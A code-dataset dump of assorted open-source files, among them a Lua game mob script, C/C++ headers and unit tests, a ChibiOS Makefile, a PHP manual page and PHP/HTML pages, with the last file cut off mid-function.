code
stringlengths
3
1.01M
repo_name
stringlengths
5
116
path
stringlengths
3
311
language
stringclasses
30 values
license
stringclasses
15 values
size
int64
3
1.01M
----------------------------------- -- Area: Xarcabard (S) -- NPC: Ruly Imp ----------------------------------- require("scripts/globals/status"); ----------------------------------- -- onMobInitialize Action ----------------------------------- function onMobInitialize(mob) end; ----------------------------------- -- onMobSpawn Action ----------------------------------- function onMobSpawn(mob) end; ----------------------------------- -- onMobFight Action ----------------------------------- function onMobFight(mob, target) end; ----------------------------------- -- onCriticalHit ----------------------------------- function onCriticalHit(mob) if (math.random(100) < 20 and mob:AnimationSub() == 0) then -- 20% change to break that horn on crit mob:AnimationSub(1); end end; ----------------------------------- -- onMobDeath ----------------------------------- function onMobDeath(mob, killer) end;
AlexandreCA/update
scripts/zones/Xarcabard_[S]/mobs/Ruly_Imp.lua
Lua
gpl-3.0
991
/* * Copyright (c) 2002-2007 Apple Inc. All rights reserved. * * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. The rights granted to you under the License * may not be used to create, or enable the creation or redistribution of, * unlawful or unlicensed copies of an Apple operating system, or to * circumvent, violate, or enable the circumvention or violation of, any * terms of an Apple operating system software license agreement. * * Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ */ #ifndef _MACHINE_UCONTEXT_H_ #define _MACHINE_UCONTEXT_H_ #if defined (__i386__) || defined(__x86_64__) #include "i386/ucontext.h" #else #error architecture not supported #endif #endif /* _MACHINE_UCONTEXT_H_ */
LubosD/darling
kernel-include/machine/ucontext.h
C
gpl-3.0
1,543
/* * Copyright (c) 2009, The MilkyTracker Team. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * - Neither the name of the <ORGANIZATION> nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ /* * AudioDriver_SDL.h * MilkyPlay * * Created by Peter Barth on 09.06.05. * */ #ifndef __AUDIODRIVER_SDL_H__ #define __AUDIODRIVER_SDL_H__ #include <SDL.h> #include <SDL_audio.h> #include "AudioDriver_COMPENSATE.h" class AudioDriver_SDL : public AudioDriver_COMPENSATE { private: mp_uint32 periodSize; static void SDLCALL fill_audio(void *udata, Uint8 *stream, int len); public: AudioDriver_SDL(); virtual ~AudioDriver_SDL(); virtual mp_sint32 initDevice(mp_sint32 bufferSizeInWords, mp_uint32 mixFrequency, MasterMixer* mixer); virtual mp_sint32 closeDevice(); virtual mp_sint32 start(); virtual mp_sint32 stop(); virtual mp_sint32 pause(); virtual mp_sint32 resume(); virtual const char* getDriverID() { return "SDLAudio"; } virtual mp_sint32 getPreferredBufferSize() const { return 2048; } }; #endif
echolevel/MilkySyphus-cocoa
src/milkyplay/drivers/sdl/AudioDriver_SDL.h
C
gpl-3.0
2,472
// Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // Needed on Windows to get |M_PI| from <cmath>. #ifdef _WIN32 #define _USE_MATH_DEFINES #endif #include <stddef.h> #include <cmath> #include "content/common/input/synthetic_web_input_event_builders.h" #include "testing/gtest/include/gtest/gtest.h" #include "ui/events/blink/blink_event_util.h" #include "ui/events/blink/web_input_event_traits.h" #include "ui/events/event_constants.h" #include "ui/events/gesture_detection/gesture_event_data.h" #include "ui/events/gesture_detection/motion_event_generic.h" #include "ui/events/gesture_event_details.h" #include "ui/gfx/geometry/safe_integer_conversions.h" using blink::WebInputEvent; using blink::WebTouchEvent; using blink::WebTouchPoint; using ui::MotionEvent; using ui::MotionEventGeneric; namespace content { TEST(WebInputEventUtilTest, MotionEventConversion) { const MotionEvent::ToolType tool_types[] = {MotionEvent::TOOL_TYPE_FINGER, MotionEvent::TOOL_TYPE_STYLUS, MotionEvent::TOOL_TYPE_MOUSE}; ui::PointerProperties pointer(5, 10, 40); pointer.id = 15; pointer.raw_x = 20; pointer.raw_y = 25; pointer.pressure = 30; pointer.touch_minor = 35; pointer.orientation = static_cast<float>(-M_PI / 2); pointer.tilt = static_cast<float>(M_PI / 3); for (MotionEvent::ToolType tool_type : tool_types) { pointer.tool_type = tool_type; MotionEventGeneric event( MotionEvent::ACTION_DOWN, base::TimeTicks::Now(), pointer); event.set_flags(ui::EF_SHIFT_DOWN | ui::EF_ALT_DOWN); event.set_unique_event_id(123456U); WebTouchEvent expected_event; expected_event.type = WebInputEvent::TouchStart; expected_event.touchesLength = 1; expected_event.timeStampSeconds = (event.GetEventTime() - base::TimeTicks()).InSecondsF(); expected_event.modifiers = WebInputEvent::ShiftKey | WebInputEvent::AltKey; WebTouchPoint expected_pointer; expected_pointer.id = pointer.id; expected_pointer.state = WebTouchPoint::StatePressed; expected_pointer.position = blink::WebFloatPoint(pointer.x, pointer.y); expected_pointer.screenPosition = blink::WebFloatPoint(pointer.raw_x, pointer.raw_y); expected_pointer.radiusX = pointer.touch_major / 2.f; expected_pointer.radiusY = pointer.touch_minor / 2.f; expected_pointer.rotationAngle = 0.f; expected_pointer.force = pointer.pressure; if (tool_type == MotionEvent::TOOL_TYPE_STYLUS) { expected_pointer.tiltX = 60; expected_pointer.tiltY = 0; } else { expected_pointer.tiltX = 0; expected_pointer.tiltY = 0; } expected_event.touches[0] = expected_pointer; expected_event.uniqueTouchEventId = 123456U; WebTouchEvent actual_event = ui::CreateWebTouchEventFromMotionEvent(event, false); EXPECT_EQ(ui::WebInputEventTraits::ToString(expected_event), ui::WebInputEventTraits::ToString(actual_event)); } } TEST(WebInputEventUtilTest, ScrollUpdateConversion) { int motion_event_id = 0; MotionEvent::ToolType tool_type = MotionEvent::TOOL_TYPE_UNKNOWN; base::TimeTicks timestamp = base::TimeTicks::Now(); gfx::Vector2dF delta(-5.f, 10.f); gfx::PointF pos(1.f, 2.f); gfx::PointF raw_pos(11.f, 12.f); size_t touch_points = 1; gfx::RectF rect(pos, gfx::SizeF()); int flags = 0; ui::GestureEventDetails details(ui::ET_GESTURE_SCROLL_UPDATE, delta.x(), delta.y()); details.set_device_type(ui::GestureDeviceType::DEVICE_TOUCHSCREEN); details.mark_previous_scroll_update_in_sequence_prevented(); ui::GestureEventData event(details, motion_event_id, tool_type, timestamp, pos.x(), pos.y(), raw_pos.x(), raw_pos.y(), touch_points, rect, flags, 0U); blink::WebGestureEvent web_event = ui::CreateWebGestureEventFromGestureEventData(event); EXPECT_EQ(WebInputEvent::GestureScrollUpdate, web_event.type); EXPECT_EQ(0, web_event.modifiers); EXPECT_EQ((timestamp - base::TimeTicks()).InSecondsF(), web_event.timeStampSeconds); EXPECT_EQ(gfx::ToFlooredInt(pos.x()), web_event.x); EXPECT_EQ(gfx::ToFlooredInt(pos.y()), web_event.y); EXPECT_EQ(gfx::ToFlooredInt(raw_pos.x()), web_event.globalX); EXPECT_EQ(gfx::ToFlooredInt(raw_pos.y()), web_event.globalY); EXPECT_EQ(blink::WebGestureDeviceTouchscreen, web_event.sourceDevice); EXPECT_EQ(delta.x(), web_event.data.scrollUpdate.deltaX); EXPECT_EQ(delta.y(), web_event.data.scrollUpdate.deltaY); EXPECT_TRUE(web_event.data.scrollUpdate.previousUpdateInSequencePrevented); } } // namespace content
geminy/aidear
oss/qt/qt-everywhere-opensource-src-5.9.0/qtwebengine/src/3rdparty/chromium/content/browser/renderer_host/input/web_input_event_util_unittest.cc
C++
gpl-3.0
5,108
/* =========================================================================== Copyright (C) 1999-2010 id Software LLC, a ZeniMax Media company. This file is part of Spearmint Source Code. Spearmint Source Code is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. Spearmint Source Code is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Spearmint Source Code. If not, see <http://www.gnu.org/licenses/>. In addition, Spearmint Source Code is also subject to certain additional terms. You should have received a copy of these additional terms immediately following the terms and conditions of the GNU General Public License. If not, please request a copy in writing from id Software at the address below. If you have questions concerning this license or the applicable additional terms, you may contact in writing id Software LLC, c/o ZeniMax Media Inc., Suite 120, Rockville, Maryland 20850 USA. =========================================================================== */ // cl_scrn.c -- master for refresh, status bar, console, chat, notify, etc #include "client.h" qboolean scr_initialized; // ready to draw cvar_t *cl_timegraph; cvar_t *cl_debuggraph; cvar_t *cl_graphheight; cvar_t *cl_graphscale; cvar_t *cl_graphshift; /* ================ SCR_AdjustFrom640 Adjusted for resolution and screen aspect ratio ================ */ void SCR_AdjustFrom640( float *x, float *y, float *w, float *h ) { float xscale; float yscale; #if 0 // adjust for wide screens if ( cls.glconfig.vidWidth * 480 > cls.glconfig.vidHeight * 640 ) { *x += 0.5 * ( cls.glconfig.vidWidth - ( cls.glconfig.vidHeight * 640 / 480 ) ); } #endif // scale for screen sizes xscale = cls.glconfig.vidWidth / 640.0; yscale = cls.glconfig.vidHeight / 480.0; if ( x ) { *x *= xscale; } if ( y ) { *y *= yscale; } if ( w ) { *w *= xscale; } if ( h ) { *h *= yscale; } } /* =============================================================================== DEBUG GRAPH =============================================================================== */ static int current; static float values[1024]; /* ============== SCR_DebugGraph ============== */ void SCR_DebugGraph (float value) { values[current] = value; current = (current + 1) % ARRAY_LEN(values); } /* ============== SCR_DrawDebugGraph ============== */ void SCR_DrawDebugGraph (void) { int a, x, y, w, i, h; float v; // // draw the graph // w = cls.glconfig.vidWidth; x = 0; y = cls.glconfig.vidHeight; re.SetColor( g_color_table[0] ); re.DrawStretchPic(x, y - cl_graphheight->integer, w, cl_graphheight->integer, 0, 0, 0, 0, cls.whiteShader ); re.SetColor( NULL ); for (a=0 ; a<w ; a++) { i = (ARRAY_LEN(values)+current-1-(a % ARRAY_LEN(values))) % ARRAY_LEN(values); v = values[i]; v = v * cl_graphscale->integer + cl_graphshift->integer; if (v < 0) v += cl_graphheight->integer * (1+(int)(-v / cl_graphheight->integer)); h = (int)v % cl_graphheight->integer; re.DrawStretchPic( x+w-1-a, y - h, 1, h, 0, 0, 0, 0, cls.whiteShader ); } } //============================================================================= /* ================== SCR_Init ================== */ void SCR_Init( void ) { cl_timegraph = Cvar_Get ("timegraph", "0", CVAR_CHEAT); cl_debuggraph = Cvar_Get ("debuggraph", "0", CVAR_CHEAT); cl_graphheight = Cvar_Get ("graphheight", "32", CVAR_CHEAT); cl_graphscale = Cvar_Get ("graphscale", "1", CVAR_CHEAT); cl_graphshift = Cvar_Get ("graphshift", "0", CVAR_CHEAT); scr_initialized = qtrue; } //======================================================= /* ================== SCR_DrawScreenField This will be called twice if rendering in stereo mode ================== */ void SCR_DrawScreenField( stereoFrame_t stereoFrame ) { re.BeginFrame( stereoFrame ); // draw UI and/or game scene CL_CGameRendering(stereoFrame); // debug graph can be drawn on top of anything if ( cl_debuggraph->integer || cl_timegraph->integer ) { SCR_DrawDebugGraph (); } } /* ================== SCR_UpdateScreen This is called every frame, and can also be called explicitly to flush text to the screen. ================== */ void SCR_UpdateScreen( void ) { static int recursive; if ( !scr_initialized ) { return; // not initialized yet } if ( ++recursive > 2 ) { Com_Error( ERR_FATAL, "SCR_UpdateScreen: recursively called" ); } recursive = 1; // If there is no VM, there are also no rendering commands issued. Stop the renderer in // that case. if( cgvm || com_dedicated->integer ) { // XXX int in_anaglyphMode = Cvar_VariableIntegerValue("r_anaglyphMode"); // if running in stereo, we need to draw the frame twice if ( cls.glconfig.stereoEnabled || in_anaglyphMode) { SCR_DrawScreenField( STEREO_LEFT ); SCR_DrawScreenField( STEREO_RIGHT ); } else { SCR_DrawScreenField( STEREO_CENTER ); } if ( com_speeds->integer ) { re.EndFrame( &time_frontend, &time_backend ); } else { re.EndFrame( NULL, NULL ); } } recursive = 0; }
mecwerks/spearmint-ios
code/client/cl_scrn.c
C
gpl-3.0
5,447
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <title>Loads a font</title> </head> <body><div class="manualnavbar" style="text-align: center;"> <div class="prev" style="text-align: left; float: left;"><a href="function.ps-fill.html">ps_fill</a></div> <div class="next" style="text-align: right; float: right;"><a href="function.ps-get-buffer.html">ps_get_buffer</a></div> <div class="up"><a href="ref.ps.html">PS Functions</a></div> <div class="home"><a href="index.html">PHP Manual</a></div> </div><hr /><div id="function.ps-findfont" class="refentry"> <div class="refnamediv"> <h1 class="refname">ps_findfont</h1> <p class="verinfo">(PECL ps &gt;= 1.1.0)</p><p class="refpurpose"><span class="refname">ps_findfont</span> &mdash; <span class="dc-title">Loads a font</span></p> </div> <div class="refsect1 description" id="refsect1-function.ps-findfont-description"> <h3 class="title">Description</h3> <div class="methodsynopsis dc-description"> <span class="type">int</span> <span class="methodname"><strong>ps_findfont</strong></span> ( <span class="methodparam"><span class="type">resource</span> <code class="parameter">$psdoc</code></span> , <span class="methodparam"><span class="type">string</span> <code class="parameter">$fontname</code></span> , <span class="methodparam"><span class="type">string</span> <code class="parameter">$encoding</code></span> [, <span class="methodparam"><span class="type">bool</span> <code class="parameter">$embed</code><span class="initializer"> = false</span></span> ] )</div> <p class="para rdfs-comment"> Loads a font for later use. Before text is output with a loaded font it must be set with <span class="function"><a href="function.ps-setfont.html" class="function">ps_setfont()</a></span>. This function needs the adobe font metric file in order to calculate the space used up by the characters. A font which is loaded within a page will only be available on that page. Fonts which are to be used in the complete document have to be loaded before the first call of <span class="function"><a href="function.ps-begin-page.html" class="function">ps_begin_page()</a></span>. Calling <span class="function"><strong>ps_findfont()</strong></span> between pages will make that font available for all following pages. </p> <p class="para"> The name of the afm file must be <code class="parameter">fontname</code><em>.afm</em>. If the font shall be embedded the file <code class="parameter">fontname</code><em>.pfb</em> containing the font outline must be present as well. </p> <p class="para"> Calling <span class="function"><strong>ps_findfont()</strong></span> before the first page requires to output the postscript header which includes the BoundingBox for the whole document. Usually the BoundingBox is set with the first call of <span class="function"><a href="function.ps-begin-page.html" class="function">ps_begin_page()</a></span> which now comes after <span class="function"><strong>ps_findfont()</strong></span>. Consequently the BoundingBox has not been set and a warning will be issued when <span class="function"><strong>ps_findfont()</strong></span> is called. In order to prevent this situation, one should call <span class="function"><a href="function.ps-set-parameter.html" class="function">ps_set_parameter()</a></span> to set the BoundingBox before <span class="function"><strong>ps_findfont()</strong></span> is called. </p> </div> <div class="refsect1 parameters" id="refsect1-function.ps-findfont-parameters"> <h3 class="title">Parameters</h3> <p class="para"> <dl> <dt> <code class="parameter">psdoc</code></dt> <dd> <p class="para"> Resource identifier of the postscript file as returned by <span class="function"><a href="function.ps-new.html" class="function">ps_new()</a></span>. </p> </dd> <dt> <code class="parameter">fontname</code></dt> <dd> <p class="para"> The name of the font. </p> </dd> <dt> <code class="parameter">encoding</code></dt> <dd> <p class="para"> <span class="function"><strong>ps_findfont()</strong></span> will try to load the file passed in the parameter <code class="parameter">encoding</code>. Encoding files are of the same syntax as those used by <strong class="command">dvips(1)</strong>. They contain a font encoding vector (which is currently not used but must be present) and a list of extra ligatures to extend the list of ligatures derived from the afm file. </p> <p class="para"> <code class="parameter">encoding</code> can be <strong><code>NULL</code></strong> or the empty string if the default encoding (TeXBase1) shall be used. </p> <p class="para"> If the encoding is set to <em>builtin</em> then there will be no reencoding and the font specific encoding will be used. This is very useful with symbol fonts. </p> </dd> <dt> <code class="parameter">embed</code></dt> <dd> <p class="para"> If set to a value &gt;0 the font will be embedded into the document. This requires the font outline (.pfb file) to be present. </p> </dd> </dl> </p> </div> <div class="refsect1 returnvalues" id="refsect1-function.ps-findfont-returnvalues"> <h3 class="title">Return Values</h3> <p class="para"> Returns the identifier of the font or zero in case of an error. The identifier is a positive number. </p> </div> <div class="refsect1 seealso" id="refsect1-function.ps-findfont-seealso"> <h3 class="title">See Also</h3> <p class="para"> <ul class="simplelist"> <li class="member"><span class="function"><a href="function.ps-begin-page.html" class="function" rel="rdfs-seeAlso">ps_begin_page()</a> - Start a new page</span></li> <li class="member"><span class="function"><a href="function.ps-setfont.html" class="function" rel="rdfs-seeAlso">ps_setfont()</a> - Sets font to use for following output</span></li> </ul> </p> </div> </div><hr /><div class="manualnavbar" style="text-align: center;"> <div class="prev" style="text-align: left; float: left;"><a href="function.ps-fill.html">ps_fill</a></div> <div class="next" style="text-align: right; float: right;"><a href="function.ps-get-buffer.html">ps_get_buffer</a></div> <div class="up"><a href="ref.ps.html">PS Functions</a></div> <div class="home"><a href="index.html">PHP Manual</a></div> </div></body></html>
rafaelgou/the-phpjs-local-docs-collection
php/5.5/function.ps-findfont.html
HTML
gpl-3.0
6,774
/* * input.h * * Created on: 20/apr/2015 * Author: ibanez89 */ #ifndef INPUT_H_ #define INPUT_H_ void lettura_numero(unsigned int *numeroPtr); #endif /* INPUT_H_ */
LucianoFaretra/Workspace
[Programmazione in C 2014]/Esercitazione4-Game-of-Life_Cunit/input.h
C
gpl-3.0
179
// TP OpenGL: Joerg Liebelt, Serigne Sow //on ajoute des arbres #ifndef __TREEBOX_H__ #define __TREEBOX_H__ #include "quadtree.h" class TREE { private: QImage texture; GLuint texID; bool iwanttrees; float treeSizeFactor; int numTrees; qglviewer::Vec* treeInfo; //ici, je casse la beaute de mon architecture car avec la ligne suivante, //...TREE depend de QUADTREE et n'est plus independant de la maniere dont le terrain a ete cree. dommage.. QUADTREE myTerrain; //pour recuperer l'hauteur du terrain public: TREE() { iwanttrees = false; treeSizeFactor = 0.05f; numTrees = 20; } bool LoadTexture(const QString& filename ); void initTrees(QUADTREE ter, int num, float waterLevel); void Render(); void switchTree() { iwanttrees = !iwanttrees; } bool wantTree() { return iwanttrees; } }; #endif
kerautret/libQGLViewer
examples/contribs/terrain/tree.h
C
gpl-3.0
849
/* * Generated by asn1c-0.9.24 (http://lionet.info/asn1c) * From ASN.1 module "InformationElements" * found in "../asn/InformationElements.asn" * `asn1c -fcompound-names -fnative-types` */ #include "UL-TS-ChannelisationCodeList-VHCR.h" static asn_per_constraints_t asn_PER_type_UL_TS_ChannelisationCodeList_VHCR_constr_1 = { { APC_UNCONSTRAINED, -1, -1, 0, 0 }, { APC_CONSTRAINED, 1, 1, 1, 2 } /* (SIZE(1..2)) */, 0, 0 /* No PER value map */ }; static asn_TYPE_member_t asn_MBR_UL_TS_ChannelisationCodeList_VHCR_1[] = { { ATF_POINTER, 0, 0, (ASN_TAG_CLASS_UNIVERSAL | (10 << 2)), 0, &asn_DEF_UL_TS_ChannelisationCode_VHCR, 0, /* Defer constraints checking to the member type */ 0, /* No PER visible constraints */ 0, "" }, }; static ber_tlv_tag_t asn_DEF_UL_TS_ChannelisationCodeList_VHCR_tags_1[] = { (ASN_TAG_CLASS_UNIVERSAL | (16 << 2)) }; static asn_SET_OF_specifics_t asn_SPC_UL_TS_ChannelisationCodeList_VHCR_specs_1 = { sizeof(struct UL_TS_ChannelisationCodeList_VHCR), offsetof(struct UL_TS_ChannelisationCodeList_VHCR, _asn_ctx), 1, /* XER encoding is XMLValueList */ }; asn_TYPE_descriptor_t asn_DEF_UL_TS_ChannelisationCodeList_VHCR = { "UL-TS-ChannelisationCodeList-VHCR", "UL-TS-ChannelisationCodeList-VHCR", SEQUENCE_OF_free, SEQUENCE_OF_print, SEQUENCE_OF_constraint, SEQUENCE_OF_decode_ber, SEQUENCE_OF_encode_der, SEQUENCE_OF_decode_xer, SEQUENCE_OF_encode_xer, SEQUENCE_OF_decode_uper, SEQUENCE_OF_encode_uper, 0, /* Use generic outmost tag fetcher */ asn_DEF_UL_TS_ChannelisationCodeList_VHCR_tags_1, sizeof(asn_DEF_UL_TS_ChannelisationCodeList_VHCR_tags_1) /sizeof(asn_DEF_UL_TS_ChannelisationCodeList_VHCR_tags_1[0]), /* 1 */ asn_DEF_UL_TS_ChannelisationCodeList_VHCR_tags_1, /* Same as above */ sizeof(asn_DEF_UL_TS_ChannelisationCodeList_VHCR_tags_1) /sizeof(asn_DEF_UL_TS_ChannelisationCodeList_VHCR_tags_1[0]), /* 1 */ &asn_PER_type_UL_TS_ChannelisationCodeList_VHCR_constr_1, asn_MBR_UL_TS_ChannelisationCodeList_VHCR_1, 1, /* Single element */ &asn_SPC_UL_TS_ChannelisationCodeList_VHCR_specs_1 /* Additional specs */ };
BramBonne/snoopsnitch-pcapinterface
contrib/libosmo-asn1-rrc/src/UL-TS-ChannelisationCodeList-VHCR.c
C
gpl-3.0
2,112
############################################################################## # Build global options # NOTE: Can be overridden externally. # # Compiler options here. ifeq ($(USE_OPT),) USE_OPT = -O2 -ggdb -fomit-frame-pointer -falign-functions=16 endif # C specific options here (added to USE_OPT). ifeq ($(USE_COPT),) USE_COPT = endif # C++ specific options here (added to USE_OPT). ifeq ($(USE_CPPOPT),) USE_CPPOPT = -fno-rtti endif # Enable this if you want the linker to remove unused code and data ifeq ($(USE_LINK_GC),) USE_LINK_GC = yes endif # If enabled, this option allows to compile the application in THUMB mode. ifeq ($(USE_THUMB),) USE_THUMB = yes endif # Enable this if you want to see the full log while compiling. ifeq ($(USE_VERBOSE_COMPILE),) USE_VERBOSE_COMPILE = no endif # # Build global options ############################################################################## ############################################################################## # Architecture or project specific options # # Enable this if you really want to use the STM FWLib. ifeq ($(USE_FWLIB),) USE_FWLIB = no endif # # Architecture or project specific options ############################################################################## ############################################################################## # Project, sources and paths # # Define project name here PROJECT = ch # Imported source files and paths CHIBIOS = ../.. include $(CHIBIOS)/boards/ST_STM3210E_EVAL/board.mk include $(CHIBIOS)/os/hal/platforms/STM32F1xx/platform.mk include $(CHIBIOS)/os/hal/hal.mk include $(CHIBIOS)/os/ports/GCC/ARMCMx/STM32F1xx/port.mk include $(CHIBIOS)/os/kernel/kernel.mk include $(CHIBIOS)/os/various/fatfs_bindings/fatfs.mk include $(CHIBIOS)/test/test.mk # Define linker script file here LDSCRIPT= $(PORTLD)/STM32F103xG.ld # C sources that can be compiled in ARM or THUMB mode depending on the global # setting. CSRC = $(PORTSRC) \ $(KERNSRC) \ $(HALSRC) \ $(PLATFORMSRC) \ $(BOARDSRC) \ $(FATFSSRC) \ $(TESTSRC) \ $(CHIBIOS)/os/various/evtimer.c \ $(CHIBIOS)/os/various/syscalls.c \ $(CHIBIOS)/os/various/shell.c \ $(CHIBIOS)/os/various/chprintf.c \ main.c # C++ sources that can be compiled in ARM or THUMB mode depending on the global # setting. CPPSRC = # C sources to be compiled in ARM mode regardless of the global setting. # NOTE: Mixing ARM and THUMB mode enables the -mthumb-interwork compiler # option that results in lower performance and larger code size. ACSRC = # C++ sources to be compiled in ARM mode regardless of the global setting. # NOTE: Mixing ARM and THUMB mode enables the -mthumb-interwork compiler # option that results in lower performance and larger code size. ACPPSRC = # C sources to be compiled in THUMB mode regardless of the global setting. # NOTE: Mixing ARM and THUMB mode enables the -mthumb-interwork compiler # option that results in lower performance and larger code size. TCSRC = # C sources to be compiled in THUMB mode regardless of the global setting. # NOTE: Mixing ARM and THUMB mode enables the -mthumb-interwork compiler # option that results in lower performance and larger code size. TCPPSRC = # List ASM source files here ASMSRC = $(PORTASM) INCDIR = $(PORTINC) $(KERNINC) $(TESTINC) \ $(HALINC) $(PLATFORMINC) $(BOARDINC) \ $(FATFSINC) \ $(CHIBIOS)/os/various # # Project, sources and paths ############################################################################## ############################################################################## # Compiler settings # MCU = cortex-m3 #TRGT = arm-elf- TRGT = arm-none-eabi- CC = $(TRGT)gcc CPPC = $(TRGT)g++ # Enable loading with g++ only if you need C++ runtime support. # NOTE: You can use C++ even without C++ support if you are careful. C++ # runtime support makes code size explode. LD = $(TRGT)gcc #LD = $(TRGT)g++ CP = $(TRGT)objcopy AS = $(TRGT)gcc -x assembler-with-cpp OD = $(TRGT)objdump HEX = $(CP) -O ihex BIN = $(CP) -O binary # ARM-specific options here AOPT = # THUMB-specific options here TOPT = -mthumb -DTHUMB # Define C warning options here CWARN = -Wall -Wextra -Wstrict-prototypes # Define C++ warning options here CPPWARN = -Wall -Wextra # # Compiler settings ############################################################################## ############################################################################## # Start of default section # # List all default C defines here, like -D_DEBUG=1 DDEFS = -DSTDOUT_SD=SD1 -DSTDIN_SD=SD1 # List all default ASM defines here, like -D_DEBUG=1 DADEFS = # List all default directories to look for include files here DINCDIR = # List the default directory to look for the libraries here DLIBDIR = # List all default libraries here DLIBS = # # End of default section ############################################################################## ############################################################################## # Start of user section # # List all user C define here, like -D_DEBUG=1 UDEFS = # Define ASM defines here UADEFS = # List all user directories here UINCDIR = # List the user directory to look for the libraries here ULIBDIR = # List all user libraries here ULIBS = # # End of user defines ############################################################################## ifeq ($(USE_FWLIB),yes) include $(CHIBIOS)/ext/stm32lib/stm32lib.mk CSRC += $(STM32SRC) INCDIR += $(STM32INC) USE_OPT += -DUSE_STDPERIPH_DRIVER endif include $(CHIBIOS)/os/ports/GCC/ARMCMx/rules.mk
JustRob83/virulent
demos/ARMCM3-STM32F103ZG-FATFS/Makefile
Makefile
gpl-3.0
5,693
<?php $moduleName = 'employees'; define('MODULE_PATH',dirname(__FILE__)); include APP_BASE_PATH.'header.php'; include APP_BASE_PATH.'modulejslibs.inc.php'; ?><div class="span9"> <ul class="nav nav-tabs" id="modTab" style="margin-bottom:0px;margin-left:5px;border-bottom: none;"> <li class="active"><a id="tabEmployee" href="#tabPageEmployee">Employees</a></li> </ul> <div class="tab-content"> <div class="tab-pane active" id="tabPageEmployee"> <div id="Employee" class="reviewBlock" data-content="List" style="padding-left:5px;"> </div> <div id="EmployeeForm" class="reviewBlock" data-content="Form" style="padding-left:5px;display:none;"> </div> </div> </div> </div> <script> var modJsList = new Array(); modJsList['tabEmployee'] = new EmployeeAdapter('Employee'); modJsList['tabEmployee'].setRemoteTable(true); var modJs = modJsList['tabEmployee']; </script> <?php include APP_BASE_PATH.'footer.php';?>
rhnvrm/icehrm
ext/admin/employees/index.php
PHP
gpl-3.0
956
#ifndef SCHED_AFFINITY_WIN32_WRAPPER_H #define SCHED_AFFINITY_WIN32_WRAPPER_H typedef __int64 cpu_set_t; typedef HANDLE pid_t; static inline int CPU_ISSET(__int64 cpu, cpu_set_t *set) { return((*set & ((__int64) 1 << cpu)) ? 1 : 0); } static inline int sched_setaffinity(pid_t pid, unsigned int cpusetsize, cpu_set_t *mask) { return(0); } static inline int sched_getaffinity(pid_t pid, unsigned int cpusetsize, cpu_set_t *mask) { return(0); } static inline void CPU_CLR(__int64 cpu, cpu_set_t *set) { *set &= (~((__int64) 1 << cpu)); } static inline void CPU_SET(__int64 cpu, cpu_set_t *set) { *set |= ((__int64) 1 << cpu); } static inline void CPU_ZERO(cpu_set_t *set) { *set = 0; } #endif
ddemidov/caldgemm
cmodules/sched_affinity_win32_wrapper.h
C
gpl-3.0
736
#include "stdafx.h" #include "RFXBase.h" #include "../main/mainworker.h" #include "../main/Helper.h" #include "../main/Logger.h" #include "../main/RFXtrx.h" CRFXBase::CRFXBase() { m_NoiseLevel = 0; m_AsyncType = ATYPE_DISABLED; } CRFXBase::~CRFXBase() { } bool CRFXBase::onInternalMessage(const unsigned char *pBuffer, const size_t Len, const bool checkValid/* = true*/) { if (!m_bEnableReceive) return true; //receiving not enabled size_t ii = 0; while (ii < Len) { if (m_rxbufferpos == 0) //1st char of a packet received { if (pBuffer[ii] == 0) //ignore first char if 00 return true; } m_rxbuffer[m_rxbufferpos] = pBuffer[ii]; m_rxbufferpos++; if (m_rxbufferpos >= sizeof(m_rxbuffer) - 1) { //something is out of sync here!! //restart Log(LOG_ERROR, "input buffer out of sync, going to restart!...."); m_rxbufferpos = 0; return false; } if (m_rxbufferpos > m_rxbuffer[0]) { if (!checkValid || CheckValidRFXData((uint8_t*)&m_rxbuffer)) sDecodeRXMessage(this, (const uint8_t*)&m_rxbuffer, NULL, -1); else Log(LOG_ERROR, "Invalid data received!...."); m_rxbufferpos = 0; //set to zero to receive next message } 